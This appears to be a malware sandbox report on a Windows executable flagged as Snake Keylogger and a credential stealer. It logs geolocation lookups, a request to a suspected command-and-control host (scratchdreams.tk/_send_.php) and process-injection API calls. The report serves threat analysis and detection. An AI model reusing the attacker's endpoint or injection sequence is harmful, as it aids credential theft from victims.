2024-04-08 11:01:53 UTC	710	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:53 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76014 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h4y8GrZ3oUJTBy2brsfuSe96zpMCxl4kt8hFGPD8iFAvMLtW9kM4kdn81LeVrY%2BrI1ANB%2FOrSihHle1uQykWx6l72sT9ckE7I406zYAueuVvGwlO%2BYq%2BNMpIfWVw1UiklZt%2BuiMC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c312ce305c77-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:53 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49722	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:54 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-08 11:01:54 UTC	714	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:54 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76015 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W3oY4nADz7OrT9WilV8E%2Bg%2FQs1a9987dQ3DnbO9ItdUBWIkJ6svEjerjyJAYJAFOuafpvE2EhqSKFvBwaXDm2uipgg%2Fx4xND2%2FDOg9Yl0MxaNh7nAnb9bkA%2BCXTMRBIMqe%2F%2FHY5s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c3184fc131e0-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:54 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49724	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:55 UTC	64	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org
2024-04-08 11:01:55 UTC	712	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:55 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76016 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E4atZ%2F5UPTcfpdB%2Bk6%2FA56KcYcRV5BG4F2f6yQcW%2BQQl6Ao6fBUAiRBgO806P7T%2FrAe%2FUNFqPxZIvEJhR0JTNRy6p0LySgAnsDM94RyecAIf3QvTZsfQzI70LgMccb02mtmw3WAN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c31e09a30321-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:55 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49726	104.21.67.152	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:56 UTC	88	OUT	GET /xml/102.129.152.231 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-08 11:01:56 UTC	712	IN	HTTP/1.1 200 OK Date: Mon, 08 Apr 2024 11:01:56 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 76017 Last-Modified: Sun, 07 Apr 2024 13:54:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1VlKXsG%2FkCuYU%2B%2B2X61xrVRMYPPyTDqA4eInFI06J7YYelh30CKEK4dJW0rXTOFLEtD2CIfPSY%2BePAaYcPD977Fw0adthJMMreGKfcQIT3d6Kg%2BiqfmVMcVLdND5%2BnU8x1CTM0dh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8711c3237d6da587-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:01:56 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-08 11:01:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49727	172.67.169.18	443	7580	C:\Users\user\Desktop\58208 Teklif.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-08 11:01:57 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-04-08 11:02:28 UTC	731	IN	HTTP/1.1 522 Date: Mon, 08 Apr 2024 11:02:28 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6FP9JKsmyUIR2EQOWghuySeRFGCerggC%2FSerbHv7uSfBjSbBuqg2zNP6n7cL14kKG3umGkK3F5g3Vh4KvCnOnI26LiaqLR9P4mqFLbJLjHOhPz6iBHjI10FyJ8iju8rhckqm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8711c32968b07429-MIA alt-svc: h3=":443"; ma=86400
2024-04-08 11:02:28 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	13:01:46
Start date:	08/04/2024
Path:	C:\Users\user\Desktop\58208 Teklif.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\58208 Teklif.exe"
Imagebase:	0xd40000
File size:	846'344 bytes
MD5 hash:	DC59E080BC0BE8CEE52EC9E79CCC7E82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:01:47
Start date:	08/04/2024
Path:	C:\Users\user\Desktop\58208 Teklif.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\58208 Teklif.exe"
Imagebase:	0xb40000
File size:	846'344 bytes
MD5 hash:	DC59E080BC0BE8CEE52EC9E79CCC7E82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	225
Total number of Limit Nodes:	11

Executed Functions

Function 07790007 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8488df357147a6ae90d1e0a3a2957eea2ba4476ddd5b849831be642b5990e87b
Instruction ID: 5cc44738978a551974ebfb0b563801765e2e3d5802c7f45c988b2440f1ffbaf5
Opcode Fuzzy Hash: 8488df357147a6ae90d1e0a3a2957eea2ba4476ddd5b849831be642b5990e87b
Instruction Fuzzy Hash: 7E314FB1D153498FDB09CF6AD8142DEBFF6AF8A310F04C0AAD408AB265DB741949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 07790040 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23618efc4fee4f0100aea34aa22c0c85d41e3655a52a95219d72e6ab79134c1a
Instruction ID: d1ee6b7d1b1c1a1392cbb5fead6cfd2e236603df567675efaa90f970c5c95a0f
Opcode Fuzzy Hash: 23618efc4fee4f0100aea34aa22c0c85d41e3655a52a95219d72e6ab79134c1a
Instruction Fuzzy Hash: 0F2103B0D116198BEB18CFABD8447EEFAF6AFC9300F04C07A940866264DB74094ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 0155D2F0 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0155D37E
GetCurrentThread.KERNEL32 ref: 0155D3BB
GetCurrentProcess.KERNEL32 ref: 0155D3F8
GetCurrentThreadId.KERNEL32 ref: 0155D451

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: e50a834ae59ec7039ef24727be9f6ef4597678e938207bdd69307b3b5e659188
Instruction ID: 9009b4f6a3edfae708bb8b8c9e98887aa863edeef31c37e0ecf2a893c6a8ca52
Opcode Fuzzy Hash: e50a834ae59ec7039ef24727be9f6ef4597678e938207bdd69307b3b5e659188
Instruction Fuzzy Hash: 1A5154B19002498FEB54CFA9D548BEEBFF1FB88304F20845AE519BB260D7745948CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0155D300 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0155D37E
GetCurrentThread.KERNEL32 ref: 0155D3BB
GetCurrentProcess.KERNEL32 ref: 0155D3F8
GetCurrentThreadId.KERNEL32 ref: 0155D451

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 53bee977fe0c4f00b8e94463ea46a6592a7e3734e00c17aa626ee2aaadf8255f
Instruction ID: 7993c9c93ba701789fa59cbc51108b6e8d70cb4f1cdaf10e0eb863079ee6ee80
Opcode Fuzzy Hash: 53bee977fe0c4f00b8e94463ea46a6592a7e3734e00c17aa626ee2aaadf8255f
Instruction Fuzzy Hash: 255144B09002499FEB58DFAAD548B9EBFF1BF88304F20841AE519B7260D7746948CF65

Uniqueness

Uniqueness Score: -1.00%

Function 07795DDC Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0779601E

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f671a1a22a177d8ba1e91a8dfbf779619f192b8427c2815e3621ec5e75aee7e3
Instruction ID: a9765c21e28caf04d237967e083bcabc11a65392797c07c6e12925e640db013c
Opcode Fuzzy Hash: f671a1a22a177d8ba1e91a8dfbf779619f192b8427c2815e3621ec5e75aee7e3
Instruction Fuzzy Hash: 0FA18CB0D0122ACFDF11CF68D881BEDBBB2BF44354F04856AE808A7280DB759985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07795DE8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0779601E

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 478693ca9c4855fd20ccf2f5e71c3f5cbda2f4f53f3ac71291530ce9ee46e90a
Instruction ID: 2ec664e51a52eb3da46cab7c44e0f8e2b44ca1ece36042c87bf6a3afc5498bed
Opcode Fuzzy Hash: 478693ca9c4855fd20ccf2f5e71c3f5cbda2f4f53f3ac71291530ce9ee46e90a
Instruction Fuzzy Hash: 45918DB0D0122ACFDF11CF68D881BEDBBB2BF44314F04856AE809A7280DB759995CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0155B068 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0155B2BE

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 424f0045f7379a2ac1fe33d296c52a511e513e79979c144df9bd2e2fa473746a
Instruction ID: 3d1627a459ad074aaae1dfd7b908c16a1f1e3f38480d4c89de22487ad40e6cdc
Opcode Fuzzy Hash: 424f0045f7379a2ac1fe33d296c52a511e513e79979c144df9bd2e2fa473746a
Instruction Fuzzy Hash: 47714570A00B058FD7A4DF6AD45475ABBF2FF88300F108A2ED84ADBA50D775E949CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0155590D Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 015559C9

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bea9ea4389d8e00f245d6a27e1ab8839e15c31d6a131e0886d952dc6ac31677d
Instruction ID: ede9316e83ac489cfe8819de06dc06e3c8c2eb38adab427e2dedaecf5c30ba36
Opcode Fuzzy Hash: bea9ea4389d8e00f245d6a27e1ab8839e15c31d6a131e0886d952dc6ac31677d
Instruction Fuzzy Hash: CA41F1B0C00719CFDB24CFAAC894B8DBBF5BF49304F60816AD408AB255EB756949CF90

Uniqueness

Uniqueness Score: -1.00%

Function 015544E4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 015559C9

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6724a220a71cecb18f35a829a66db54ed95581b3bf12f34cf1e886bd1e565c5a
Instruction ID: 89ec5fa19e49e61562b4e713ad9edc0f7ea54d3421464f9b53bd7d9c038d376e
Opcode Fuzzy Hash: 6724a220a71cecb18f35a829a66db54ed95581b3bf12f34cf1e886bd1e565c5a
Instruction Fuzzy Hash: C54102B0C0071DCBDB24CFAAC894B9DBBF5BF49304F60806AD508AB255EB756949CF90

Uniqueness

Uniqueness Score: -1.00%

Function 07795B58 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07795BF0

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9ec9527f8d508ca8c91a6099d484c090162ac66ef76e0f73311ebb42ddf7f4c9
Instruction ID: 908c5ccb1941d2b2205043fb9afa4573f8f64f64342aef241c641ac7eeeb14e2
Opcode Fuzzy Hash: 9ec9527f8d508ca8c91a6099d484c090162ac66ef76e0f73311ebb42ddf7f4c9
Instruction Fuzzy Hash: FD2123B5D003199FCF10CFA9D9857EEBBF0FB48310F10882AE919A7250C7799955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0155D540 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0155D5CF

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7232d8f0d58cbba24dd989bee4c715b3e6115c239dca2066e59168b172c016b0
Instruction ID: af0e0cc9fb1c819daeff0a7db95bd728f6d24801d8e867e49884e7a2543c65a3
Opcode Fuzzy Hash: 7232d8f0d58cbba24dd989bee4c715b3e6115c239dca2066e59168b172c016b0
Instruction Fuzzy Hash: CF3139B58002499FDB11CFA9D584ADEBFF4FF49324F14815AE958A7350C375A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07795B60 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07795BF0

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 320105237739d29c2265ff03bf7dc023d86fbb3b68205455a14561aa952a8fc9
Instruction ID: 73392f1a595d4dfcb386aa9f25223ccfd019896603ef102446de544f74ebe5ec
Opcode Fuzzy Hash: 320105237739d29c2265ff03bf7dc023d86fbb3b68205455a14561aa952a8fc9
Instruction Fuzzy Hash: 8A2125B19003599FCF10DFA9D885BEEBBF5FF48310F50882AE919A7240C7799954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07795C48 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07795CD0

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a607ae9690a45ed9dc2d2d9b21f3f06ee6482626374fb46664acb6e0e2474665
Instruction ID: da58bef2017fb5f4a9704e1d2b7b743e1295c4596abdad4846b487e909bbf6a4
Opcode Fuzzy Hash: a607ae9690a45ed9dc2d2d9b21f3f06ee6482626374fb46664acb6e0e2474665
Instruction Fuzzy Hash: 8C2136B1D003199FCB10DFA9D9816EEBBF4FF48314F10842AE919A7240C7359945DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07795C50 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07795CD0

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 96f8f66c27689153d1e577626ba2b90bea18f9c6abc2088a1f97bbefc110dbbc
Instruction ID: 1dc3f1065d6d626a94f6e7f6ff396c70319bf49b04b18ef58bab8b72a8d1fd03
Opcode Fuzzy Hash: 96f8f66c27689153d1e577626ba2b90bea18f9c6abc2088a1f97bbefc110dbbc
Instruction Fuzzy Hash: 862145B1C003199FCB10DFAAD881AEEFBF4FF48310F50842AE919A7240C7399944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 077959C8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07795A46

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

